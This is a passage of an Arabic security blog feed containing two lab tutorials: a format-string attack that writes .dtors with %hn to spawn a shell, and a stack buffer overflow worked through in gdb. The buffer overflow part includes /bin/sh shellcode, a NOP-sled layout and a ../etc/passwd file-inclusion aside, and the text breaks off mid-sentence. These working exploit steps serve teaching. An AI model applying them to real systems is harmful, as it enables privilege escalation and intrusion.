51);"&gt;sh-3.1$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.1$&lt;/span&gt;  &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;opcode بصيغه dtorلكتاتب عناوين ال printf مثل ما شايفين, استخدمنا&lt;br /&gt;(little endianا (بطريقه عكسيه وفقا لبروسيسرات ال&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;لكتابت قيم الديسمل على الاماكن الي حددناها الي هي تبدأ من 4 الى 7 %x و %n وبعدها استخدمنا الفورمات سترينق&lt;br /&gt;واشتغل معانا الشل وحصلنا على صلاحيات يوزر اخر الرووت حيث ان الملف المضروب يملك صلاحيات&lt;br /&gt;لليوزر رووت guid&lt;br /&gt;&lt;br /&gt;ممكن ايضا كتابت عنوان الشل كود على الديتور بصيغة ديسمل ولكن على شكل 16 بت , بدلا من 32 بت&lt;br /&gt;&lt;br /&gt;عنوان الشل كود الي هو&lt;br /&gt;0xbfffde7a&lt;br /&gt;بنقسمه الى قسمين فقط بدل الاربع اقسام, وبنحوله الى ديسمل , النصف الاول بنطرحه من 8 والثاني بنطرحه من الاول. نطبق ونشوف&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;0x&lt;span style="color: rgb(255, 255, 51);"&gt;bfff&lt;/span&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;de7a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;bfff&lt;/span&gt;=49151-8=49143&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;de7a&lt;/span&gt;=56954-49151=7803 &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;الاستغلال بيكون نفس الاستغلال الي كتبناه قبل &lt;span style="color: rgb(255, 0, 0);"&gt;بس بدل&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;%hn بنستخدم %n&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;لكن عناوين الديتور بتكون فقط عنوانين&lt;br /&gt;0x08049514 الاول بيكون&lt;br /&gt;0x08049514+2 والثاني بيكون&lt;br /&gt;0x08049516 الي هو بيكون&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;legend&gt;&lt;/legend&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;bfff=49143&lt;/span&gt;    write on&lt;span style="color: rgb(51, 255, 255);"&gt; 0x08049516&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;de7a=7803&lt;/span&gt;    write on &lt;span style="color: rgb(51, 255, 255);"&gt;0x08049514 &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;الاستغلال بيكون بهذا الشكل&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;  &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./vulnf&lt;/span&gt; &lt;span style="color: rgb(204, 51, 204);"&gt;`perl -e 'print "\x16\x95\x04\x08\x14\x95\x04\x08"'`&lt;/span&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;%.49143u%4\$hn  %.7803u%5\$hn&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.1$&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.1$&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;مثل ماشايفين ,اكتبنا قيم 16 بت ديسمل على قيم الديتور في العنوانين المحليين&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;\$hn&lt;/span&gt;و &lt;span style="color: rgb(255, 0, 0);"&gt;%5&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;\$hn4%&lt;/span&gt;&lt;br /&gt;تعطي نفس الناتج ما تفرق &lt;span style="color: rgb(255, 255, 51);"&gt;%u&lt;/span&gt; استخدمنا &lt;span style="color: rgb(255, 255, 0);"&gt;%x&lt;/span&gt; وبدل&lt;br /&gt;واستخدمت&lt;br /&gt;ماتفرق كلهم يعطون نفس النتيجه printf في الاستغلال بدل perl&lt;br /&gt;&lt;br /&gt;اتمنى ان يكون الموضوع مفيد , واي استفسار انا حاظر.&lt;br /&gt;&lt;br /&gt;تقبلو تحياتي..&lt;br /&gt;Dr.Death &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-1447578235329233680?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/1447578235329233680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/04/format-string-dtors-section.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/1447578235329233680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/1447578235329233680'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/04/format-string-dtors-section.html' title='Format string &amp; .dtors section'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-6753066175486637802</id><published>2009-04-14T15:06:00.007+04:00</published><updated>2009-04-22T22:26:07.193+04:00</updated><title type='text'>GDB &amp; Buffer OverFlow</title><content type='html'>&lt;div style="text-align: center;" id="post_message_2394"&gt; السلام عليكم...&lt;br /&gt;&lt;br /&gt;جميعنا تقريبا يعرف ثغرات البافر اوفر فلو, وهناك شروحات كثيره لها على الانترنت, اغلبها مطوله ومعقده.&lt;br /&gt;&lt;br /&gt;حبيت بس اني اقوم بشرحها مره اخرى بشكل مبسط وسهل الاستيعاب&lt;br /&gt;&lt;br /&gt;بدخل مباشره بوضع كود مصاب والشرح عليه.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 300px; height: 258px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#include &lt;%stdio.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#include &lt;%string.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(51, 102, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; argc, &lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;**&lt;/span&gt;argv&lt;span style="color: rgb(51, 102, 255);"&gt;) {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; buf&lt;span style="color: rgb(51, 102, 255);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;128&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;if&lt;/span&gt;(argc &lt;span style="color: rgb(51, 102, 255);"&gt;&lt;&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;2&lt;/span&gt;) &lt;span style="color: rgb(0, 0, 153);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;strcpy&lt;span style="color: rgb(51, 102, 255);"&gt;(&lt;/span&gt;buf&lt;span style="color: rgb(51, 102, 255);"&gt;,&lt;/span&gt; argv&lt;span style="color: rgb(51, 102, 255);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;]);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;printf&lt;span style="color: rgb(51, 102, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;"%s\n"&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;,&lt;/span&gt; buf&lt;span style="color: rgb(51, 102, 255);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt;واضح ان الكود قام بنسخ المدخل المستخدم&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;argv[1]&lt;/span&gt;&lt;br /&gt;على البافر الي هو محدد في الكود ب 128 بايت&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;gcc&lt;/span&gt; vul.c &lt;span style="color: rgb(153, 0, 0);"&gt;-o&lt;/span&gt; vul &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;نعمل له كومبايل ونشغله مباشره من الديباقر&lt;br /&gt;gdb&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;gdb&lt;/span&gt; vul &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;نكتب الامر&lt;br /&gt;run&lt;br /&gt;الخاص بالديباقر حتى نبدا تشغيل البرنامج المضروب ونعطيه مدخل كبير&lt;br /&gt;&lt;br /&gt;بأستخدام البيرل او البايثون نستطيع تحديد طول المدخل:&lt;br /&gt;&lt;br /&gt;بالبايثون:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `python -c 'print "\x41"*150'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;بالبيرل:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;run&lt;/span&gt; `perl -e 'print &lt;span style="color: rgb(192, 192, 192);"&gt;"\x41"&lt;/span&gt;x150'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;مثلا هنا اخبرنا البيرل بأن يقوم بطباعة الهيكس لحرف&lt;br /&gt;A&lt;br /&gt;الي هو 41 بمعدل 150 مره&lt;br /&gt;او ممكن انك بكل بساطه تقوله يطبع حرف&lt;br /&gt;A&lt;br /&gt;مائه وخمسين مره بهذا الشكل: &lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print &lt;span style="color: rgb(192, 192, 192);"&gt;"A"&lt;/span&gt;x150'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;المهم الديباقر طلع لنا ان البرنامج ضرب وعمل&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;segmentation fault&lt;/span&gt;&lt;br /&gt;في العنوان&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;0x41414141&lt;/span&gt;&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print "A"x150'`&lt;br /&gt;Starting program: /lab/vul `perl -e 'print "A"x150'`&lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x41414141 in ?? ()&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb) &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;نكتب امر الديباق&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt; info registers&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;لمشاهدة مسجلات الميموري وقيمها&lt;br /&gt;&lt;br /&gt;يمكنك معه استخدام اختصارات الاوامر يعني مثلا بدل كتابتgdb الديباقر&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt; info registers&lt;/span&gt;&lt;br /&gt;يمكنك فقط كتابة&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt; i r&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;لمشاهدة جميع المسجلات اكتب الامر&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;info all-registers&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;المهم نرجع لموضوعنا, بنشاهد ان المسجل&lt;br /&gt;قد تمت الكتابه عليه eip&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt; info registers&lt;/span&gt;&lt;br /&gt;eax            0x0      0&lt;br /&gt;ecx            0x1000   4096&lt;br /&gt;edx            0x5c5448 6050888&lt;br /&gt;ebx            0x5c3ff4 6045684&lt;br /&gt;esp            0xbfffdcc0       0xbfffdcc0&lt;br /&gt;ebp            0x41414141       0x41414141&lt;br /&gt;esi            0x0      0&lt;br /&gt;edi            0xfd8cc0 16616640&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; eip            0x41414141       0x41414141&lt;/span&gt;&lt;br /&gt;eflags         0x210282 [ SF IF RF ID ]&lt;br /&gt;cs             0x73     115&lt;br /&gt;ss             0x7b     123&lt;br /&gt;ds             0x7b     123&lt;br /&gt;es             0x7b     123&lt;br /&gt;fs             0x0      0&lt;br /&gt;gs             0x33     51&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb) &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;EIP&lt;/span&gt;&lt;br /&gt;وهو اختصار ل&lt;br /&gt;"&lt;span style="color: rgb(204, 51, 204);"&gt;Extended Instruction Pointer&lt;/span&gt;"&lt;br /&gt;وظيفته انه يحدد مكان العمليه القادمه التي سوف يتم تشغيلها, يعني العنوان الي يكون فيه بيكون هو العنوان القادم الي بيتم تشغيله.&lt;br /&gt;&lt;br /&gt;الحين بنعمل شوية&lt;br /&gt;fuzzing&lt;br /&gt;eip حتى نعرف بالتحديد كم بايت يلزمنا حتى نكتب مانريد على&lt;br /&gt;بننقص عدد المدخلات , يعني بدل 150 نخليها مثلا 145 واخر اربع بايتات نخليها عدد اخر علشان بس نعرف نميز شو الي انكتب على eip&lt;br /&gt;&lt;br /&gt;بهذا الشكل:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 255);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print&lt;span style="color: rgb(192, 192, 192);"&gt; "A"&lt;/span&gt;x&lt;span style="color: rgb(0, 153, 0);"&gt;145&lt;/span&gt;, &lt;span style="color: rgb(192, 192, 192);"&gt;"B"&lt;/span&gt;x&lt;span style="color: rgb(0, 153, 0);"&gt;4&lt;/span&gt;'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;145 مره A كتبنا حرف&lt;br /&gt;B و 4 مرات حرف&lt;br /&gt;&lt;br /&gt;نرجع نكتب الامر&lt;br /&gt;info registers&lt;br /&gt;مازالت eip بنشوف ان قيمة&lt;br /&gt;0x41414141&lt;br /&gt;نقلل المدخلات بنخليها 140 ونجرب مره ثانيه&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print "A"x140, "B"x4'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;نكتب امر&lt;br /&gt;info registers&lt;br /&gt;eip مره ثانيه ونشوف قيمة  &lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print "A"x140, "B"x4'`&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;&lt;br /&gt;Starting program: /levels/level5 `perl -e 'print "A"x140, "B"x4'`&lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x42424242 in ?? ()&lt;br /&gt;(gdb) info registers&lt;br /&gt;eax            0x0      0&lt;br /&gt;ecx            0x1000   4096&lt;br /&gt;edx            0xd1c448 13747272&lt;br /&gt;ebx            0xd1aff4 13742068&lt;br /&gt;esp            0xbfffdcd0       0xbfffdcd0&lt;br /&gt;ebp            0x41414141       0x41414141&lt;br /&gt;esi            0x0      0&lt;br /&gt;edi            0xa38cc0 10718400&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; eip            0x42424242       0x42424242&lt;/span&gt;&lt;br /&gt;eflags         0x210286 [ PF SF IF RF ID ]&lt;br /&gt;cs             0x73     115&lt;br /&gt;ss             0x7b     123&lt;br /&gt;ds             0x7b     123&lt;br /&gt;es             0x7b     123&lt;br /&gt;fs             0x0      0&lt;br /&gt;gs             0x33     51&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb) &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;eip حلووووو مثل ما شيفين قيمة&lt;br /&gt;صارت&lt;br /&gt;0x42424242&lt;br /&gt;BBBB الي هي الهيكس لحرف&lt;br /&gt;eip يعني شغلنا سليم قدرنا ان نكتب اربع قيم بشكل كامل على&lt;br /&gt;&lt;br /&gt;الحين تقريبا نقدر نقول خلصنا الجانب الكبير وصار علينا ان بس نعوض الفازي الي كنا نعمله بأشياء حقيقيه.&lt;br /&gt;&lt;br /&gt;بنحتاج الى شل كود يعتمد على انته شو ناوي تسوي, مثلا نروح موقع ميلورم او اي مواقع ثاني فيه شل كودز جاهزه ونختار شل كود جيد  حيث ان البروسيسر عندي هو انتل x86 للنظام الي انته بتشغل الشل و الثغره عليه, مثلا انا بختار شل كود صغير لنظام لينكس&lt;br /&gt;على السيرفر /bin/sh واريده يعطيني&lt;br /&gt;&lt;br /&gt;&lt;a href="http://milw0rm.org/shellcode/2793" target="_blank"&gt;http://milw0rm.org/shellcode/2793&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;نأخذ الشل كود ونرتبه, علشان نحقنه مباشره في الميموري:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto; color: rgb(255, 0, 0);" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x  69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;eip بعد ما دخلنا الشل هذا طوله 22 بايت مثل ماهو واضح, قبل شويه كتبنا على&lt;br /&gt;A 140&lt;br /&gt;و&lt;br /&gt;B 4&lt;br /&gt;يعني بدل بننقص 22 من 140 علشان نعمل مكان للشل.&lt;br /&gt;140 - 22 =118&lt;br /&gt;&lt;br /&gt;بتصير الحسبه كالتالي:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;[nop] [ShellCode] [eip]&lt;br /&gt;118               22                   4 &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;هو 118 بدل 140A بيصير عدد&lt;br /&gt;&lt;br /&gt;عباره عن قيمه حقيقيه , اذا خليناها البرنامج بيرجع يضرب لانه ما بيحصل اي عنوان اسمهA لكن ال&lt;br /&gt;0x41414141&lt;br /&gt;&lt;br /&gt;الي هو الهيكس له 90 nop بنكتب A بدل&lt;br /&gt;مثل ما يعتقدر بعض الشباب null النوب ليس مثل&lt;br /&gt;0x00 قيمتها nullال&lt;br /&gt;وهي مصيبه بالنسبه للشباب الي يكتبون الشل كودز بانفسهم, لانها تقوم بعمل تيرمينيت او الغاء مابعدها وايقاف تشغيل البرنامج.&lt;br /&gt;&lt;br /&gt;phpمثل ما ثغرات اللوكل انكلود في ال&lt;br /&gt;&lt;br /&gt;0x00 عندما يقوم المخترق باضافة&lt;br /&gt;بعد الانكلود علشان يوقف عمل اي كود اخر في الملف المضروب ويكتفي فقط بالانكلود&lt;br /&gt;../../../../etc/passwd&lt;br /&gt;نفس الشي في ثغرات السكيول انجشكن وغيرها.&lt;br /&gt;&lt;br /&gt;المهم نرجع لموضوعنا طلعنا بعيد عنه خخخخخخخخخ.&lt;br /&gt;&lt;br /&gt;عباره عن فراغ, انا اشبهها بالهاويه, لان بعد النوب يجي الشل كود مباشره, ونحن بنعطي nopال&lt;br /&gt;nopاي عنوان من عناوين ال  eip&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;هذا مهم جدا:&lt;br /&gt;eip تخيل شو الي بيصير, كتبنا 118 نوب وبعدها شل كود طوله 22 بايت, واخذنا اي عنوان من عناوين ال 118 نوب وكتبناه على&lt;br /&gt;null العنوانين دائما تكون 4 بايت ساعات تكون اقل لكن الفراغات الي فيها تعوض ب 00&lt;br /&gt;&lt;br /&gt;eip على nopالمهم ماعلينا, المهم نرجع لتخيلنا, جينا وشغلنا البرنامج وانكتب عنوان ال&lt;br /&gt;&lt;br /&gt;بالطبع عنوان النوب يحتوي على فراغ او هاويه والي بعده كذالك والي بعده والي بعده و بيضل يهوي اااااااااالى ان يجد عنوان حقيقي يحتوي على قيمه 